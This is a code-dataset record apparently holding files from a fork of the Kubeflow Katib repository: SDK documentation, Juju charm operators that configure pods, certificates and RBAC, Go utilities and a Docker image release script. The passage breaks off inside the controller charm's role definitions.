repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
ktsakalozos/katib
https://github.com/ktsakalozos/katib
9ea7a0103fdd79c379ffe0fff2d906528c730dce
c6c91729bed2ed6385e63d7a08e7a1a8a8aea974
0e7c101b58bdb9eee410fba0bd0140775e527042
refs/heads/master
2023-03-20T12:21:36.717591
2021-03-10T03:02:23
2021-03-10T03:02:23
347,033,622
0
0
Apache-2.0
2021-03-12T10:52:33
2021-03-12T10:52:33
2021-03-12T10:55:24
null
[ { "alpha_fraction": 0.6750455498695374, "alphanum_fraction": 0.7076502442359924, "avg_line_length": 41.890625, "blob_id": "06f4d942e62b8a82b40231715ba8554b5968658e", "content_id": "dd007a4013c950f3b6eb7bd5c955d273785c97c0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5490, "license_type": "permissive", "max_line_length": 140, "num_lines": 128, "path": "/sdk/python/v1beta1/README.md", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "# Kubeflow Katib SDK\n\nPython SDK for Kubeflow Katib\n\n## Requirements.\n\nPython 2.7 and 3.4+\n\n## Installation & Usage\n\n### pip install\n\n```sh\npip install kubeflow-katib\n```\n\nThen import package:\n\n```python\nfrom kubeflow import katib\n```\n\n### Setuptools\n\nInstall via [Setuptools](http://pypi.python.org/pypi/setuptools).\n\n```sh\npython setup.py install --user\n```\n\n(or `sudo python setup.py install` to install the package for all users)\n\n### Upload new version to PyPi\n\nOur SDK is located in [`kubeflow-katib` PyPi package](https://pypi.org/project/kubeflow-katib/).\nIf you want to release new SDK version with updated API you have to ask anyone from\n[OWNERS](https://github.com/kubeflow/katib/blob/master/OWNERS) file to follow these steps:\n\n- Go to the SDK directory: `cd sdk/python/v1beta1`\n\n- Update version in [`setup.py`](https://github.com/kubeflow/katib/blob/master/sdk/python/v1beta1/setup.py#L22)\n\n- Generate distributive packages: `python3 setup.py sdist bdist_wheel`\n\n- Upload package to PyPi: `twine upload dist/*`\n\n- Remove created directories: `rm -r dist/ build/`\n\n- Submit PR with updated version\n\n## Getting Started\n\nPlease follow the [examples](examples) to learn more about Katib SDK.\n\n## Documentation for API Endpoints\n\n| Class | Method | Description |\n| --------------------- | ------------------------------------- | ------------------------------------------------------------------------ |\n| [KatibClient][client] | [create_experiment][create] | Create Katib Experiment |\n| [KatibClient][client] | [get_experiment][get_e] | Get or watch the specified Experiment or all Experiment in the namespace |\n| [KatibClient][client] | [delete_experiment][delete] | Delete specified Experiment |\n| [KatibClient][client] | [list_experiments][list_e] | List all Experiments with status |\n| [KatibClient][client] | [get_experiment_status][get_status] | Get Experiment status |\n| [KatibClient][client] | [is_experiment_succeeded][is_suc] | Check if Experiment status is Succeeded |\n| [KatibClient][client] | [list_trials][list_t] | List all Trials of specified Experiment |\n| [KatibClient][client] | [get_optimal_hyperparameters][opt_hp] | Get currentOptimalTrial with parameterAssignments of an Experiment |\n\n[client]: docs/KatibClient.md\n[create]: docs/KatibClient.md#create_experiment\n[get_e]: docs/KatibClient.md#get_experiment\n[delete]: docs/KatibClient.md#delete_experiment\n[list_e]: docs/KatibClient.md#list_experiments\n[get_status]: docs/KatibClient.md#get_experiment_status\n[is_suc]: docs/KatibClient.md#is_experiment_succeeded\n[list_t]: docs/KatibClient.md#list_trials\n[opt_hp]: docs/KatibClient.md#get_optimal_hyperparameters\n\n## Documentation For Models\n\n- [V1beta1AlgorithmSetting](docs/V1beta1AlgorithmSetting.md)\n- [V1beta1AlgorithmSpec](docs/V1beta1AlgorithmSpec.md)\n- [V1beta1CollectorSpec](docs/V1beta1CollectorSpec.md)\n- [V1beta1ConfigMapSource](docs/V1beta1ConfigMapSource.md)\n- [V1beta1EarlyStoppingRule](docs/V1beta1EarlyStoppingRule.md)\n- [V1beta1EarlyStoppingSetting](docs/V1beta1EarlyStoppingSetting.md)\n- [V1beta1EarlyStoppingSpec](docs/V1beta1EarlyStoppingSpec.md)\n- [V1beta1Experiment](docs/V1beta1Experiment.md)\n- [V1beta1ExperimentCondition](docs/V1beta1ExperimentCondition.md)\n- [V1beta1ExperimentList](docs/V1beta1ExperimentList.md)\n- [V1beta1ExperimentSpec](docs/V1beta1ExperimentSpec.md)\n- [V1beta1ExperimentStatus](docs/V1beta1ExperimentStatus.md)\n- [V1beta1FeasibleSpace](docs/V1beta1FeasibleSpace.md)\n- [V1beta1FileSystemPath](docs/V1beta1FileSystemPath.md)\n- [V1beta1FilterSpec](docs/V1beta1FilterSpec.md)\n- [V1beta1GraphConfig](docs/V1beta1GraphConfig.md)\n- [V1beta1Metric](docs/V1beta1Metric.md)\n- [V1beta1MetricStrategy](docs/V1beta1MetricStrategy.md)\n- [V1beta1MetricsCollectorSpec](docs/V1beta1MetricsCollectorSpec.md)\n- [V1beta1NasConfig](docs/V1beta1NasConfig.md)\n- [V1beta1ObjectiveSpec](docs/V1beta1ObjectiveSpec.md)\n- [V1beta1Observation](docs/V1beta1Observation.md)\n- [V1beta1Operation](docs/V1beta1Operation.md)\n- [V1beta1OptimalTrial](docs/V1beta1OptimalTrial.md)\n- [V1beta1ParameterAssignment](docs/V1beta1ParameterAssignment.md)\n- [V1beta1ParameterSpec](docs/V1beta1ParameterSpec.md)\n- [V1beta1SourceSpec](docs/V1beta1SourceSpec.md)\n- [V1beta1Suggestion](docs/V1beta1Suggestion.md)\n- [V1beta1SuggestionCondition](docs/V1beta1SuggestionCondition.md)\n- [V1beta1SuggestionList](docs/V1beta1SuggestionList.md)\n- [V1beta1SuggestionSpec](docs/V1beta1SuggestionSpec.md)\n- [V1beta1SuggestionStatus](docs/V1beta1SuggestionStatus.md)\n- [V1beta1Trial](docs/V1beta1Trial.md)\n- [V1beta1TrialAssignment](docs/V1beta1TrialAssignment.md)\n- [V1beta1TrialCondition](docs/V1beta1TrialCondition.md)\n- [V1beta1TrialList](docs/V1beta1TrialList.md)\n- [V1beta1TrialParameterSpec](docs/V1beta1TrialParameterSpec.md)\n- [V1beta1TrialSource](docs/V1beta1TrialSource.md)\n- [V1beta1TrialSpec](docs/V1beta1TrialSpec.md)\n- [V1beta1TrialStatus](docs/V1beta1TrialStatus.md)\n- [V1beta1TrialTemplate](docs/V1beta1TrialTemplate.md)\n\n## Documentation For Authorization\n\nAll endpoints do not require authorization.\n\n## Author\n\nprem0912\n" }, { "alpha_fraction": 0.5243791937828064, "alphanum_fraction": 0.5249848365783691, "avg_line_length": 41.06369400024414, "blob_id": "fbd07794646809f31abc172a944f9e20d531e529", "content_id": "4f3d2766d517b5e748ee8667b48956775d1ad17d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6604, "license_type": "permissive", "max_line_length": 289, "num_lines": 157, "path": "/sdk/python/v1beta1/docs/KatibClient.md", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "# KatibClient\n\n> KatibClient(config_file=None, context=None, client_configuration=None, persist_config=True)\n\nUser can load authentication and cluster information from kube-config file and stores them in kubernetes.client.configuration. Parameters are as following:\n\n| Parameter | Description |\n| --- | --- |\n| config_file | Location of kube-config file. Defaults to `~/.kube/config`. Note that the config_file is needed if user want to operate katib SDK in another remote cluster, user must set `config_file` to load kube-config file explicitly, e.g. `KatibClient(config_file=\"~/.kube/config\")`. |\n| context | Set the active context. If is set to None, current_context from config file will be used. |\n| client_configuration | The kubernetes.client.Configuration to set configs to. |\n| persist_config | If True, config file will be updated when changed (e.g GCP token refresh). |\n\nThe APIs for KatibClient are as following:\n\n| Class | Method | Description |\n| ----------- | ----------------------------------------------------------- | ------------------------------------------------------------------------- |\n| KatibClient | [create_experiment](#create_experiment) | Create Katib Experiment |\n| KatibClient | [get_experiment](#get_experiment) | Get or watch the specified Experiment or all Experiments in the namespace |\n| KatibClient | [delete_experiment](#delete_experiment) | Delete specified Experiment |\n| KatibClient | [list_experiments](#list_experiments) | List all Experiments with status |\n| KatibClient | [get_experiment_status](#get_experiment_status) | Get Experiment status |\n| KatibClient | [is_experiment_succeeded](#is_experiment_succeeded) | Check if Experiment status is Succeeded |\n| KatibClient | [list_trials](#list_trials) | List all Trials of specified Experiment with status |\n| KatibClient | [get_optimal_hyperparameters](#get_optimal_hyperparameters) | Get currentOptimalTrial with parameterAssignments of an Experiment |\n\n## create_experiment\n\n> create_experiment(experiment, namespace=None)\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --- | --- | --- | --- |\n| experiment | [V1beta1Experiment](V1beta1Experiment.md) | experiment definition | Required |\n| namespace | str | Namespace for experiment deploying to. If the `namespace` is not defined, will align with experiment definition, or use current or default namespace if namespace is not specified in experiment definition. | Optional |\n\n\n### Return type\n\nobject\n\n## get_experiment\n\n> get_experiment(name=None, namespace=None)\n\nGet Experiment in the specified namespace\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --- | --- | --- | --- |\n| name | str | Experiment name. If the `name` is not specified, will get all experiments in the namespace. | Optional |\n| namespace | str | Experiment's namespace. Defaults to current or default namespace. | Optional |\n\n### Return type\n\nobject\n\n## delete_experiment\n\n> delete_experiment(name, namespace=None)\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --------- | ---- | --------------------------------------------------------------- | -------- |\n| name | str | Experiment name. | Required |\n| namespace | str | Experiment namespace. Defaults to current or default namespace. | Optional |\n\n### Return type\n\nobject\n\n## list_experiments\n\n> list_experiments(namespace=None)\n\nList all Experiments with status\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --------- | ---- | --------------------------------------------------------------- | -------- |\n| namespace | str | Experiment namespace. Defaults to current or default namespace. | Optional |\n\n### Return type\n\nList\n\n## get_experiment_status\n\n> get_experiment_status(name, namespace=None)\n\nReturns Experiment status, such as Created, Running, Failed, Succeeded or Restarting.\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --------- | ---- | --------------------------------------------------------------- | -------- |\n| name | str | Experiment name. | Required |\n| namespace | str | Experiment namespace. Defaults to current or default namespace. | Optional |\n\n### Return type\n\nStr\n\n## is_experiment_succeeded\n\n> is_experiment_succeeded(name, namespace=None)\n\nReturns True if Experiment succeeded; false otherwise.\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --------- | ---- | --------------------------------------------------------------- | -------- |\n| name | str | Experiment name. | Required |\n| namespace | str | Experiment namespace. Defaults to current or default namespace. | Optional |\n\n### Return type\n\nBool\n\n## list_trials\n\n> list_trials(name, namespace=None)\n\nList all Trials of an Experiment with status\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --------- | ---- | --------------------------------------------------------------- | -------- |\n| name | str | Experiment name. | Required |\n| namespace | str | Experiment namespace. Defaults to current or default namespace. | Optional |\n\n### Return type\n\nList\n\n## get_optimal_hyperparameters\n\n> get_optimal_hyperparameters(name, namespace=None)\n\nGet currentOptimalTrial with parameterAssignments of an Experiment\n\n### Parameters\n\n| Name | Type | Description | Notes |\n| --------- | ---- | --------------------------------------------------------------- | -------- |\n| name | str | Experiment name. | Required |\n| namespace | str | Experiment namespace. Defaults to current or default namespace. | Optional |\n\n### Return type\n\nDict\n" }, { "alpha_fraction": 0.44350072741508484, "alphanum_fraction": 0.446085661649704, "avg_line_length": 29.772727966308594, "blob_id": "3e0be5896b53df743db484309b8c1e727746c611", "content_id": "deff7e47ac8a1381e6c92ab9ec6fd56a4ed4b641", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2708, "license_type": "permissive", "max_line_length": 87, "num_lines": 88, "path": "/operators/katib-db-manager/reactive/katib_db_manager.py", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "from charmhelpers.core import hookenv\nfrom charms import layer\nfrom charms.reactive import (\n hook,\n set_flag,\n clear_flag,\n when,\n when_any,\n when_not,\n endpoint_from_name,\n)\n\n\n@hook(\"upgrade-charm\")\ndef upgrade_charm():\n clear_flag(\"charm.started\")\n\n\n@when(\"charm.started\")\ndef charm_ready():\n layer.status.active(\"\")\n\n\n@when_any(\"layer.docker-resource.oci-image.changed\", \"config.changed\", \"mysql.changed\")\ndef update_image():\n clear_flag(\"charm.started\")\n\n\n@when(\"layer.docker-resource.oci-image.available\", \"mysql.available\")\n@when_not(\"charm.started\")\ndef start_charm():\n if not hookenv.is_leader():\n hookenv.log(\"This unit is not a leader.\")\n return False\n\n layer.status.maintenance(\"configuring container\")\n\n image_info = layer.docker_resource.get_info(\"oci-image\")\n\n mysql = endpoint_from_name(\"mysql\")\n\n port = hookenv.config(\"port\")\n\n layer.caas_base.pod_spec_set(\n {\n \"version\": 3,\n \"containers\": [\n {\n \"name\": \"katib-db-manager\",\n \"command\": [\"./katib-db-manager\"],\n \"imageDetails\": {\n \"imagePath\": image_info.registry_path,\n \"username\": image_info.username,\n \"password\": image_info.password,\n },\n \"ports\": [{\"name\": \"api\", \"containerPort\": port}],\n \"envConfig\": {\n \"DB_NAME\": \"mysql\",\n \"DB_USER\": \"root\",\n \"DB_PASSWORD\": mysql.root_password(),\n \"KATIB_MYSQL_DB_HOST\": mysql.host(),\n \"KATIB_MYSQL_DB_PORT\": mysql.port(),\n \"KATIB_MYSQL_DB_DATABASE\": \"katib\",\n },\n \"kubernetes\": {\n \"readinessProbe\": {\n \"exec\": {\n \"command\": [\"/bin/grpc_health_probe\", f\"-addr=:{port}\"]\n },\n \"initialDelaySeconds\": 5,\n },\n \"livenessProbe\": {\n \"exec\": {\n \"command\": [\"/bin/grpc_health_probe\", f\"-addr=:{port}\"]\n },\n \"initialDelaySeconds\": 10,\n \"periodSeconds\": 60,\n \"failureThreshold\": 5,\n },\n },\n }\n ],\n },\n )\n\n layer.status.maintenance(\"creating container\")\n clear_flag(\"mysql.changed\")\n set_flag(\"charm.started\")\n" }, { "alpha_fraction": 0.6516128778457642, "alphanum_fraction": 0.6516128778457642, "avg_line_length": 21.14285659790039, "blob_id": "a8dcb4e0527e868fe5afa0de2f2c661354ba3213", "content_id": "1cbaaa48233b6bc997747efd68929e96b8b393e5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 155, "license_type": "permissive", "max_line_length": 57, "num_lines": 7, "path": "/scripts/update-readme-toc.sh", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nSCRIPT_ROOT=$(dirname ${BASH_SOURCE})/..\n\ncd ${SCRIPT_ROOT}\ndoctoc --github ./README.md --title \"# Table of Contents\"\ncd - >/dev/null\n" }, { "alpha_fraction": 0.7085561752319336, "alphanum_fraction": 0.7098930478096008, "avg_line_length": 23.933332443237305, "blob_id": "000c141ec2fd6faa18ca49f20b42222008397f2c", "content_id": "4a1ef56e4b65e24aa9bfe8f00a77f124f6de8280", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Go", "length_bytes": 748, "license_type": "permissive", "max_line_length": 85, "num_lines": 30, "path": "/pkg/controller.v1beta1/trial/util/flag_util.go", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "package util\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"k8s.io/apimachinery/pkg/runtime/schema\"\n)\n\n// GvkListFlag is the custom flag to parse GroupVersionKind list for trial resources.\ntype GvkListFlag []schema.GroupVersionKind\n\n// Set is the method to convert gvk to string value\nfunc (flag *GvkListFlag) String() string {\n\tgvkStrings := []string{}\n\tfor _, x := range []schema.GroupVersionKind(*flag) {\n\t\tgvkStrings = append(gvkStrings, x.String())\n\t}\n\treturn strings.Join(gvkStrings, \",\")\n}\n\n// Set is the method to set gvk from string flag value\nfunc (flag *GvkListFlag) Set(value string) error {\n\tgvk, _ := schema.ParseKindArg(value)\n\tif gvk == nil {\n\t\treturn fmt.Errorf(\"Invalid GroupVersionKind: %v\", value)\n\t}\n\t*flag = append(*flag, *gvk)\n\treturn nil\n}\n" }, { "alpha_fraction": 0.7535738348960876, "alphanum_fraction": 0.76106196641922, "avg_line_length": 24.771930694580078, "blob_id": "2bc72c93d0783c80b63c7432608147632af1cc3d", "content_id": "1d0b55800ce075530138d8eecd83e80a281a988c", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Go", "length_bytes": 1469, "license_type": "permissive", "max_line_length": 86, "num_lines": 57, "path": "/pkg/controller.v1beta1/util/unstructured.go", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "package util\n\nimport (\n\t\"bytes\"\n\n\t\"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured\"\n\t\"k8s.io/apimachinery/pkg/runtime\"\n\tk8syaml \"k8s.io/apimachinery/pkg/util/yaml\"\n\tlogf \"sigs.k8s.io/controller-runtime/pkg/log\"\n)\n\nconst (\n\tbufferSize = 1024\n)\n\nvar (\n\tlogUnstructured = logf.Log.WithName(\"util-unstructured\")\n)\n\n// ConvertUnstructuredToString returns string from Unstructured value\nfunc ConvertUnstructuredToString(in *unstructured.Unstructured) (string, error) {\n\tinByte, err := in.MarshalJSON()\n\tif err != nil {\n\t\tlogUnstructured.Error(err, \"MarshalJSON failed\")\n\t\treturn \"\", err\n\t}\n\n\treturn string(inByte), nil\n}\n\n// ConvertStringToUnstructured returns Unstructured from string value\nfunc ConvertStringToUnstructured(in string) (*unstructured.Unstructured, error) {\n\tinBytes := bytes.NewBufferString(in)\n\tout := &unstructured.Unstructured{}\n\n\terr := k8syaml.NewYAMLOrJSONDecoder(inBytes, bufferSize).Decode(out)\n\tif err != nil {\n\t\tlogUnstructured.Error(err, \"Decode Unstructured to String failed\")\n\t\treturn nil, err\n\t}\n\n\treturn out, nil\n}\n\n// ConvertObjectToUnstructured returns Unstructured from Kubernetes Object value\nfunc ConvertObjectToUnstructured(in interface{}) (*unstructured.Unstructured, error) {\n\tout := &unstructured.Unstructured{}\n\tvar err error\n\n\tout.Object, err = runtime.DefaultUnstructuredConverter.ToUnstructured(&in)\n\tif err != nil {\n\t\tlogUnstructured.Error(err, \"Convert Object to Unstructured failed\")\n\t\treturn nil, err\n\t}\n\n\treturn out, nil\n}\n" }, { "alpha_fraction": 0.7402222156524658, "alphanum_fraction": 0.7471110820770264, "avg_line_length": 34.43307113647461, "blob_id": "c278451777f77107ea561ce6596e9183d8e3d921", "content_id": "e7529b68d3b847f2bb66f5c6660419486314d6fa", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 4500, "license_type": "permissive", "max_line_length": 96, "num_lines": 127, "path": "/scripts/v1beta1/release.sh", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Copyright 2020 The Kubeflow Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This script is used to release all Katib images in docker.io/kubeflowkatib registry\n# It adds \"v1beta1-<commit-SHA>\" and \"latest\" tag to them.\n\nset -e\n\nCOMMIT=$(git rev-parse --short=7 HEAD)\nREGISTRY=\"docker.io/kubeflowkatib\"\nVERSION=\"v1beta1\"\nTAG=${VERSION}-${COMMIT}\n\necho \"Releasing images for Katib ${VERSION}...\"\necho \"Commit SHA: ${COMMIT}\"\necho \"Image registry: ${REGISTRY}\"\necho -e \"Image tag: ${TAG}\\n\"\n\nSCRIPT_ROOT=$(dirname ${BASH_SOURCE})/../..\ncd ${SCRIPT_ROOT}\n\n# Building the images\nmake build REGISTRY=${REGISTRY} TAG=${TAG}\n\n# Releasing the images\necho -e \"\\nAll Katib images have been successfully built\\n\"\n\n# Katib core images\necho -e \"\\nPushing Katib controller image...\\n\"\ndocker push ${REGISTRY}/katib-controller:${TAG}\ndocker push ${REGISTRY}/katib-controller:latest\n\necho -e \"\\nPushing Katib DB manager image...\\n\"\ndocker push ${REGISTRY}/katib-db-manager:${TAG}\ndocker push ${REGISTRY}/katib-db-manager:latest\n\necho -e \"\\nPushing Katib UI image...\\n\"\ndocker push ${REGISTRY}/katib-ui:${TAG}\ndocker push ${REGISTRY}/katib-ui:latest\n\necho -e \"\\nPushing Katib cert generator image...\\n\"\ndocker push ${REGISTRY}/cert-generator:${TAG}\ndocker push ${REGISTRY}/cert-generator:latest\n\necho -e \"\\nPushing file metrics collector image...\\n\"\ndocker push ${REGISTRY}/file-metrics-collector:${TAG}\ndocker push ${REGISTRY}/file-metrics-collector:latest\n\necho -e \"\\nPushing TF Event metrics collector image...\\n\"\ndocker push ${REGISTRY}/tfevent-metrics-collector:${TAG}\ndocker push ${REGISTRY}/tfevent-metrics-collector:latest\n\n# Suggestion images\necho -e \"\\nPushing suggestion images...\"\n\necho -e \"\\nPushing hyperopt suggestion...\\n\"\ndocker push ${REGISTRY}/suggestion-hyperopt:${TAG}\ndocker push ${REGISTRY}/suggestion-hyperopt:latest\n\necho -e \"\\nPushing chocolate suggestion...\\n\"\ndocker push ${REGISTRY}/suggestion-chocolate:${TAG}\ndocker push ${REGISTRY}/suggestion-chocolate:latest\n\necho -e \"\\nPushing hyperband suggestion...\\n\"\ndocker push ${REGISTRY}/suggestion-hyperband:${TAG}\ndocker push ${REGISTRY}/suggestion-hyperband:latest\n\necho -e \"\\nPushing skopt suggestion...\\n\"\ndocker push ${REGISTRY}/suggestion-skopt:${TAG}\ndocker push ${REGISTRY}/suggestion-skopt:latest\n\necho -e \"\\nPushing goptuna suggestion...\\n\"\ndocker push ${REGISTRY}/suggestion-goptuna:${TAG}\ndocker push ${REGISTRY}/suggestion-goptuna:latest\n\necho -e \"\\nPushing ENAS suggestion...\\n\"\ndocker push ${REGISTRY}/suggestion-enas:${TAG}\ndocker push ${REGISTRY}/suggestion-enas:latest\n\necho -e \"\\nPushing DARTS suggestion...\\n\"\ndocker push ${REGISTRY}/suggestion-darts:${TAG}\ndocker push ${REGISTRY}/suggestion-darts:latest\n\n# Early stopping images\necho -e \"\\nPushing early stopping images...\\n\"\n\necho -e \"\\nPushing median stopping rule...\\n\"\ndocker push ${REGISTRY}/earlystopping-medianstop:${TAG}\ndocker push ${REGISTRY}/earlystopping-medianstop:latest\n\n# Training container images\necho -e \"\\nPushing training container images...\"\n\necho -e \"\\nPushing mxnet mnist training container example...\\n\"\ndocker push ${REGISTRY}/mxnet-mnist:${TAG}\ndocker push ${REGISTRY}/mxnet-mnist:latest\n\necho -e \"\\nPushing PyTorch mnist training container example...\\n\"\ndocker push ${REGISTRY}/pytorch-mnist:${TAG}\ndocker push ${REGISTRY}/pytorch-mnist:latest\n\necho -e \"\\nPushing Keras CIFAR-10 CNN training container example for ENAS with GPU support...\\n\"\ndocker push ${REGISTRY}/enas-cnn-cifar10-gpu:${TAG}\ndocker push ${REGISTRY}/enas-cnn-cifar10-gpu:latest\n\necho -e \"\\nPushing Keras CIFAR-10 CNN training container example for ENAS with CPU support...\\n\"\ndocker push ${REGISTRY}/enas-cnn-cifar10-cpu:${TAG}\ndocker push ${REGISTRY}/enas-cnn-cifar10-cpu:latest\n\necho -e \"\\nPushing PyTorch CIFAR-10 CNN training container example for DARTS...\\n\"\ndocker push ${REGISTRY}/darts-cnn-cifar10:${TAG}\ndocker push ${REGISTRY}/darts-cnn-cifar10:latest\n\necho -e \"\\nKatib ${VERSION} for commit SHA: ${COMMIT} has been released successfully!\"\n" }, { "alpha_fraction": 0.29809054732322693, "alphanum_fraction": 0.3039605915546417, "avg_line_length": 36.712467193603516, "blob_id": "e23f39821f8b4949f71d1b3ea918727546bf2ddf", "content_id": "6a856e6476dd4f241c73a87a1db2f16847cb82c0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14821, "license_type": "permissive", "max_line_length": 86, "num_lines": 393, "path": "/operators/katib-controller/reactive/katib_controller.py", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "import json\nimport os\nfrom base64 import b64encode\nfrom pathlib import Path\nfrom subprocess import check_call\n\nimport yaml\n\nfrom charmhelpers.core import hookenv\nfrom charms import layer\nfrom charms.reactive import clear_flag, hook, set_flag, when, when_not\n\n\n@hook(\"upgrade-charm\")\ndef upgrade_charm():\n clear_flag(\"charm.started\")\n\n\n@when(\"charm.started\")\ndef charm_ready():\n layer.status.active(\"\")\n\n\n@when(\"layer.docker-resource.oci-image.changed\")\ndef update_image():\n clear_flag(\"charm.started\")\n\n\ndef gen_certs(namespace, service_name):\n if Path(\"/run/cert.pem\").exists():\n hookenv.log(\"Found existing cert.pem, not generating new cert.\")\n return\n\n Path(\"/run/ssl.conf\").write_text(\n f\"\"\"[ req ]\ndefault_bits = 2048\nprompt = no\ndefault_md = sha256\nreq_extensions = req_ext\ndistinguished_name = dn\n[ dn ]\nC = GB\nST = Canonical\nL = Canonical\nO = Canonical\nOU = Canonical\nCN = 127.0.0.1\n[ req_ext ]\nsubjectAltName = @alt_names\n[ alt_names ]\nDNS.1 = {service_name}\nDNS.2 = {service_name}.{namespace}\nDNS.3 = {service_name}.{namespace}.svc\nDNS.4 = {service_name}.{namespace}.svc.cluster\nDNS.5 = {service_name}.{namespace}.svc.cluster.local\nIP.1 = 127.0.0.1\n[ v3_ext ]\nauthorityKeyIdentifier=keyid,issuer:always\nbasicConstraints=CA:FALSE\nkeyUsage=keyEncipherment,dataEncipherment,digitalSignature\nextendedKeyUsage=serverAuth,clientAuth\nsubjectAltName=@alt_names\"\"\"\n )\n\n check_call([\"openssl\", \"genrsa\", \"-out\", \"/run/ca.key\", \"2048\"])\n check_call([\"openssl\", \"genrsa\", \"-out\", \"/run/server.key\", \"2048\"])\n check_call(\n [\n \"openssl\",\n \"req\",\n \"-x509\",\n \"-new\",\n \"-sha256\",\n \"-nodes\",\n \"-days\",\n \"3650\",\n \"-key\",\n \"/run/ca.key\",\n \"-subj\",\n \"/CN=127.0.0.1\",\n \"-out\",\n \"/run/ca.crt\",\n ]\n )\n check_call(\n [\n \"openssl\",\n \"req\",\n \"-new\",\n \"-sha256\",\n \"-key\",\n \"/run/server.key\",\n \"-out\",\n \"/run/server.csr\",\n \"-config\",\n \"/run/ssl.conf\",\n ]\n )\n check_call(\n [\n \"openssl\",\n \"x509\",\n \"-req\",\n \"-sha256\",\n \"-in\",\n \"/run/server.csr\",\n \"-CA\",\n \"/run/ca.crt\",\n \"-CAkey\",\n \"/run/ca.key\",\n \"-CAcreateserial\",\n \"-out\",\n \"/run/cert.pem\",\n \"-days\",\n \"365\",\n \"-extensions\",\n \"v3_ext\",\n \"-extfile\",\n \"/run/ssl.conf\",\n ]\n )\n\n\n@when(\"layer.docker-resource.oci-image.available\")\n@when_not(\"charm.started\")\ndef start_charm():\n if not hookenv.is_leader():\n hookenv.log(\"This unit is not a leader.\")\n return False\n\n layer.status.maintenance(\"configuring container\")\n\n image_info = layer.docker_resource.get_info(\"oci-image\")\n namespace = os.environ[\"JUJU_MODEL_NAME\"]\n config = dict(hookenv.config())\n\n gen_certs(namespace, hookenv.service_name())\n ca_bundle = b64encode(Path(\"/run/cert.pem\").read_bytes()).decode(\"utf-8\")\n\n layer.caas_base.pod_spec_set(\n {\n \"version\": 3,\n \"serviceAccount\": {\n \"roles\": [\n {\n \"global\": True,\n \"rules\": [\n {\n \"apiGroups\": [\"\"],\n \"resources\": [\n \"configmaps\",\n \"serviceaccounts\",\n \"services\",\n \"secrets\",\n \"events\",\n \"namespaces\",\n \"persistentvolumes\",\n \"persistentvolumeclaims\",\n ],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"\"],\n \"resources\": [\n \"pods\",\n \"pods/log\",\n \"pods/status\",\n ],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"apps\"],\n \"resources\": [\"deployments\"],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"batch\"],\n \"resources\": [\"jobs\", \"cronjobs\"],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"apiextensions.k8s.io\"],\n \"resources\": [\"customresourcedefinitions\"],\n \"verbs\": [\"create\", \"get\"],\n },\n {\n \"apiGroups\": [\"admissionregistration.k8s.io\"],\n \"resources\": [\n \"validatingwebhookconfigurations\",\n \"mutatingwebhookconfigurations\",\n ],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"kubeflow.org\"],\n \"resources\": [\n \"experiments\",\n \"experiments/status\",\n \"experiments/finalizers\",\n \"trials\",\n \"trials/status\",\n \"trials/finalizers\",\n \"suggestions\",\n \"suggestions/status\",\n \"suggestions/finalizers\",\n ],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"kubeflow.org\"],\n \"resources\": [\n \"tfjobs\",\n \"pytorchjobs\",\n \"mpijobs\",\n ],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"tekton.dev\"],\n \"resources\": [\n \"pipelineruns\",\n \"taskruns\",\n ],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": 